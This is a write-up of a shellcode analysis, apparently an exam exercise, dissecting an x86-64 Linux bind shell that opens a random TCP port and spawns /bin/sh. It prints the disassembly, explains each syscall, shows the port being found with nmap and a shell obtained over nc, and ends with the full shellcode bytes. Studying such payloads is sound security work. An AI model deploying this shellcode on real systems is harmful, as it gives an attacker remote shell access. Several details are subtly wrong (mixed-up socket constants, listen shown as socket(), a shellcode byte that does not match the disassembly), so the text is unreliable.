

Bind_tcp_random_port shellcode analysis , slae64 - 1337

For this analysis I use gdb to disassemble the code

gdb output :

gdb shellcode

```
GNU gdb (GDB) 7.4.1-debian
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /root/Desktop/Exam/Assignment5/Untitled Folder/shellcode...(no debugging symbols found)...done.
(gdb) b *code
Breakpoint 1 at 0x600980
(gdb) r
Starting program: /root/Desktop/Exam/Assignment5/Untitled Folder/shellcode
Shellcode Length: 57

Breakpoint 1, 0x000000000600980 in code ()
(gdb) disassemble
0x000000000600980 <+0>:    xor    rsi,rsi
0x000000000600983 <+3>:    mul    rsi
0x000000000600986 <+6>:    inc    esi
0x000000000600988 <+8>:    push   0x2
0x00000000060098a <+10>:   pop    rdi
0x00000000060098b <+11>:   mov    al,0x29
0x00000000060098d <+13>:   syscall
0x00000000060098f <+15>:   push   rdx
0x000000000600990 <+16>:   pop    rsi
0x000000000600991 <+17>:   push   rax
0x000000000600992 <+18>:   pop    rdi
0x000000000600993 <+19>:   mov    al,0x32
0x000000000600995 <+21>:   syscall
0x000000000600997 <+23>:   mov    al,0x2b
0x000000000600999 <+25>:   syscall
0x00000000060099b <+27>:   push   rdi
0x00000000060099c <+28>:   pop    rsi
0x00000000060099d <+29>:   xchg   rdi,rax
0x00000000060099f <+31>:   dec    esi
0x0000000006009a1 <+33>:   mov    al,0x21
0x0000000006009a3 <+35>:   syscall
0x0000000006009a5 <+37>:   jne    0x60099f <code+31>
0x0000000006009a7 <+39>:   push   rdx
0x0000000006009a8 <+40>:   movabs rdi,0x68732f6e69622f2f
0x0000000006009b2 <+50>:   push   rdi
0x0000000006009b3 <+51>:   push   rsp
0x0000000006009b4 <+52>:   pop    rdi
0x0000000006009b5 <+53>:   mov    al,0x3b
0x0000000006009b7 <+55>:   syscall
0x0000000006009b9 <+57>:   add    BYTE PTR [rax],al
End of assembler dump.
```

Analysis step by step :

First couple of instructions:

```
<+0>xor  rsi,rsi
<+3>mul  rsi
<+6>inc  esi
<+8>push 0x2
<+10>pop  rdi
<+11>mov  al,0x29
<+13>syscall
```

```
<+0> xor rsi, rsi
<+3> mul rsi
```

this instructions zeroed rsi , rax and rdx register
mul instruction multiply **rax** by a register or a memory in this case rsi
rsi is set to zero , because result is stored to **rax:rdx** multiply by zero zeroed
rax , **rdx** register .

```
<+6>inc  esi
<+8>push 0x2
<+10>pop  rdi
<+11>mov  al,0x29
<+13>syscall
```

We see a syscall and the number is 0x29 (41) , syscall 41 is the socket syscall

prototype of socket function :

```
int socket(int domain, int type, int protocol);
```

Description get by the manual :

socket() creates an endpoint for communication and returns a descriptor.

rdi take the domain name value , in this case “ip” , value of ip is 2 (you can grab this value in python using socket library)

rsi take the value of the socket type , in this case AF_INET , value from AF_INET is 1

rdx take the protocol value , in this case tcp , value of tcp is 0 .

rax return the socket descriptor (int) , usually int sockfd (socket file descriptor)

finally the function call look-like :

```
“rax” ← socket(“rdi = 2” , “rsi = 1” , “rdx = 0”);
```

```

<+15>push rdx
<+16>pop rsi
<+17>push rax
<+18>pop rdi
<+19>mov al,0x32
<+21>syscall

```

we see a syscall , number 0x32(50) this is the listen syscall

Listen function prototype is :

```
int listen(int sockfd, int backlog);
```

sockfd : is the value returned by the previous socket call

backlog: supplied by the value of max queued connection to sockfd

finally the syscall look-like this

```
"rax" ← socket("rdi = sockfd", "rsi = 0");
```

You can see , the author do not use bind method , if you execute this shellcode , he get a randomly port , using netstat two times and execute two times you can see what happens

first execution :

Active Internet connections (servers and established)

| Proto | Recv-Q | Send-Q | Local Address | Foreign Address | State | Timer |
|------------|----------|----------|----------------------|------------------|----------------|-----------------------|
| tcp | 0 | 0 | 0.0.0.0:58656 | 0.0.0.0:* | LISTEN | off (0.00/0/0) |
| tcp | 0 | 0 | 127.0.0.1:41646 | 127.0.0.1:41301 | TIME_WAIT | timewait (32.51/0/0) |
| udp | 0 | 0 | 0.0.0.0:68 | 0.0.0.0:* | off (0.00/0/0) | |
| udp | 0 | 0 | 0.0.0.0:57689 | 0.0.0.0:* | off (0.00/0/0) | |
| udp6 | 0 | 0 | :::53009 | :::* | off (0.00/0/0) | |

second execution:

Active Internet connections (servers and established)

| Proto | Recv-Q | Send-Q | Local Address | Foreign Address | State | Timer |
|------------|----------|----------|----------------------|------------------|----------------|-----------------------|
| tcp | 0 | 0 | 0.0.0.0:35274 | 0.0.0.0:* | LISTEN | off (0.00/0/0) |
| tcp | 0 | 0 | 127.0.0.1:41646 | 127.0.0.1:41301 | TIME_WAIT | timewait (32.51/0/0) |
| udp | 0 | 0 | 0.0.0.0:68 | 0.0.0.0:* | off (0.00/0/0) | |
| udp | 0 | 0 | 0.0.0.0:57689 | 0.0.0.0:* | off (0.00/0/0) | |
| udp6 | 0 | 0 | :::53009 | :::* | off (0.00/0/0) | |

To find and connect to the shellcode , the attacker must use nmap or another scanner to find the port opened by him

```
<+23>: mov al,0x2b
<+25>: syscall
```

we see a syscall 0x2b (43) , accept syscall

prototype of the function accept given by “man 2 accept” command :

```
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
```

Part of description of the function accept given by “man 2 accept” command :

The accept() system call is used with connection-based socket types (SOCK_STREAM, SOCK_SEQPACKET). It extracts the first connection request on the queue of pending connections for the listening socket, sockfd, creates a new connected socket, and returns a new file descriptor referring to that socket. The newly created socket is not in the listening state. The original socket sockfd is unaffected by this call.

We can see , the socket function is really not properly feed by the code , (no space allocated to receive **addr* and **addrlen*), this is intentionally , overwrite the stack (certainly no matter of the value overwritten)

remember how is filled **addr* in assembly (bind shell shellcode)

```
sub rsp , 0x10      → Buffer for *addr
mov rsi , rsp
mov dword [rsp-4], eax → rsi + 4 (address)
mov word [rsp-6], 0x5c11 → rsi + 2 (port) in this case port 4444 in network byte order
                        this shellcode value is the random value
```

**addrlen* point to the size of value received by **addr*

Next couple of instructions :

```
<+27>push rdi
<+28>pop rsi
<+29>xchg rdi, rax
<+31>dec esi (code + 31)
<+33>mov al, 0x21
<+35>syscall
<+37>jne 0x60099f <code+31>
```

another syscall , number 0x21 (33) dup2 syscall

dup2 function prototype :

```
int dup2(int oldfd, int newfd);
```

```
<+27>push rdi
<+28>pop rsi
```

mov value 2 to rsi

```
<+29> xchg rdi, rax
```

 mov sockfd value to rdi (oldfd)

rsi take the value of newfd , in this case dup2 is called trough the loop tree times , each time for duplicate in first in this case stderr , second times stdout , third times stdin .

At the end **rsi** reach 0 and the zero flags is set , shellcode can continue next couple of instructions .

Syscall look-like this

```
"rax" ← dup2("rdi", "rsi");
```

Next couple of instructions:

```
<+39> push rdx
<+40> movabs rdi, 0x68732f6e69622f2f
<+50> push rdi
<+51> push rsp
<+52> pop rdi
<+53> mov al, 0x3b
<+55> syscall
```

rdx = 0

mov string '//bin/sh' in reverse order in rdi

this is THE syscall (execve)

```
<+50> push rdi
<+51> push rsp
<+52> pop rdi
```

← is equivalent to push rdi , mov rdi , rsp

Syscall look-like this

```
execve ("rdi<>//bin/sh>", "rsi = 0", "rdx = 0");
```

Finally , how to test the shellcode:

first step:

Execute the shellcode

```
# ./shellcode
Shellcode Length: 57
```

Seek the opened port with nmap :

```
#!/nmap -sS target -p-
```

in this case target = local host

output of nmap:

Starting Nmap 6.46 (<http://nmap.org>) at 2014-07-20 10:00 CEST
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000080s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
35588/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 2.26 seconds

connect to the shellcode via nc:

```
#!/nc target 35588
```

get the shell :

```
*****# nc localhost 35588
ps
PID TTY      TIME CMD
3330 pts/0    00:00:00 bash
11500 pts/0  00:00:00 sh
11527 pts/0  00:00:00 ps
ls
bind_tcp_random_port_analysis.odt
bind_tcp_random_port_analysis.pdf
shellcode
pwd
/root/Desktop/Exam/Assignment5/shell_bind_tcp_random
```

shellcode:

```
unsigned char buf[] =
"\x48\x31\xf6\x48\xf7\xe6\xff\xc6\xa0\x02\x5f\xb0\x29\x0f\x05"
"\x52\x5e\x50\x5f\xb0\x32\x0f\x05\xb0\x2b\x0f\x05\x57\x5e\x48"
"\x97\xff\xce\xb0\x21\x0f\x05\x75\xf8\x52\x48\xbf\x2f\x2f\x62"
"\x69\x6e\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x0f\x05";
```